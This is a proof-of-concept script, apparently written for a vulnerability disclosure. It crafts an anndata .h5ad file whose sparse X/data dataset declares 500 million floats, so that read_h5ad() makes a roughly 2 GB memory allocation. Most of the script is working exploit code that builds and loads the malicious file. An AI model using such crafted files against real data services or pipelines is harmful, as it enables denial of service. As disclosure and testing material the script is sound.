"""
PoC: anndata .h5ad Sparse Data Decompression Bomb
Target : anndata (PyPI `anndata`)
Format : AnnData HDF5 (.h5ad)
Tested : anndata 0.13.2, h5py 3.14.0, Python 3.12
Author : mgm-77 / MBM7

=== Finding: anndata.read_h5ad() loads sparse X matrix data array
    without size validation — huge h5py sparse dataset → GB allocation ===
CWE-789 (Uncontrolled Memory Allocation) / Pattern #7 CULA

anndata stores the CSR sparse matrix X as a HDF5 group with:
  X/data    — nonzero values (dense 1D array)
  X/indices — column indices
  X/indptr  — row pointer
  X.attrs['shape'] — matrix shape

When read_h5ad() → read_sparse() → sparse_dataset(elem).to_memory() →
SparseDataset._to_memory() reads X/data via h5py's ds[...],
h5py allocates numpy.empty(ds.shape) BEFORE reading chunk data.

A crafted .h5ad with X/data declared as shape=(500_000_000,) float32
via HDF5 sparse chunked storage (actual data: 3 values on disk) causes:
  - 2 GB allocation at h5py layer
  - Successful load with NO exception (SILENT data corruption!)
  - Returned AnnData appears valid: n_obs×n_vars = 3×4

=== Distinct from keras/h5py finding ===
  keras:   OOM kill (process dies)
  anndata: SILENT successful load with corrupted X matrix
           loaded.X.data has wrong values — no error raised

=== Amplification ===
68 KB crafted file → 2,000 MB allocation → ratio 1:29,391
"""

import os
import sys
import tempfile
import tracemalloc

import anndata as ad
import h5py
import numpy as np
import scipy.sparse as sp


# ── Build crafted .h5ad ───────────────────────────────────────────────────────

def build_legit_h5ad(path: str) -> None:
    n_obs, n_vars = 3, 4
    X = sp.csr_matrix(np.eye(n_obs, n_vars, dtype=np.float32))
    ad.AnnData(X=X).write_h5ad(path)


def clone_with_bomb(src_path: str, dst_path: str,
                    bomb_shape: tuple = (500_000_000,)) -> None:
    """Replace X/data with a huge sparse h5py dataset."""
    with h5py.File(src_path, 'r') as src, \
         h5py.File(dst_path, 'w') as dst:

        for k, v in src.attrs.items():
            dst.attrs[k] = v

        def copy_item(name, obj):
            p = name.rsplit('/', 1)[0] if '/' in name else ''
            dn = name.rsplit('/', 1)[-1]
            parent = dst.require_group(p) if p else dst

            if isinstance(obj, h5py.Group):
                grp = dst.require_group(name)
                for k, v in obj.attrs.items():
                    grp.attrs[k] = v
            elif isinstance(obj, h5py.Dataset):
                if name == 'X/data':
                    # Sparse chunked dataset claiming huge shape
                    ds = parent.create_dataset(
                        dn,
                        shape=bomb_shape,
                        dtype=np.float32,
                        chunks=(10_000,),
                        fillvalue=0.0,
                    )
                    ds[0:3] = [1.0, 1.0, 1.0]  # write tiny real data
                else:
                    src.copy(name, parent, name=dn)

        src.visititems(copy_item)


# ── Main ──────────────────────────────────────────────────────────────────────

BOMB_SHAPE    = (500_000_000,)
EXPECTED_ALLOC = BOMB_SHAPE[0] * 4  # float32

print("=" * 64)
print("anndata .h5ad Sparse Data Decompression Bomb")
print("CWE-789 / CULA — Silent load (no exception raised)")
print("=" * 64)

with tempfile.TemporaryDirectory() as tmp:
    legit = os.path.join(tmp, "legit.h5ad")
    mal   = os.path.join(tmp, "bomb.h5ad")

    build_legit_h5ad(legit)
    legit_size = os.path.getsize(legit)
    print(f"\n  Legit .h5ad       : {legit_size:,} bytes  (3×4 CSR matrix)")

    clone_with_bomb(legit, mal, BOMB_SHAPE)
    mal_size = os.path.getsize(mal)

    print(f"  Malicious .h5ad   : {mal_size:,} bytes")
    print(f"  X/data claimed    : {EXPECTED_ALLOC:,} bytes  (2.0 GB)")
    print(f"  Amplification     : 1:{EXPECTED_ALLOC // mal_size:,}")

    tracemalloc.start()
    try:
        loaded = ad.read_h5ad(mal)
        peak   = tracemalloc.get_traced_memory()[1]

        print(f"\n  Result            : LOADED — no exception! ← SILENT CORRUPTION")
        print(f"  loaded.n_obs      : {loaded.n_obs}")
        print(f"  loaded.n_vars     : {loaded.n_vars}")
        print(f"  loaded.X.shape    : {loaded.X.shape}")
        print(f"  loaded.X.nnz      : {loaded.X.nnz}  ← wrong (should be 3)")
        print(f"  Peak memory       : {peak/1e6:.0f} MB")

    except MemoryError:
        peak = tracemalloc.get_traced_memory()[1]
        print(f"\n  Result            : MemoryError — OOM triggered")
        print(f"  Peak memory       : {peak/1e6:.0f} MB")
    except Exception as e:
        peak = tracemalloc.get_traced_memory()[1]
        print(f"\n  Result            : {type(e).__name__}: {e}")
        print(f"  Peak memory       : {peak/1e6:.0f} MB  ← alloc before error")
    finally:
        tracemalloc.stop()

print()
print("=" * 64)
print("Root cause — anndata/_io/specs/methods.py, read_sparse():")
print()
print("  sparse_dataset(elem).to_memory()  # no size check")
print("    → h5py: numpy.empty(ds.shape)   # ds.shape = (500_000_000,)")
print("    → allocates 2 GB before reading chunks")
print()
print("Distinct from keras/h5py finding:")
print("  keras:   OOM kill — process terminates")
print("  anndata: silent load — AnnData appears valid, X.data corrupted")
print()
print("=" * 64)
import importlib.metadata
print(f"anndata version : {importlib.metadata.version('anndata')}")
print(f"h5py version    : {h5py.__version__}")
print(f"Python          : {sys.version.split()[0]}")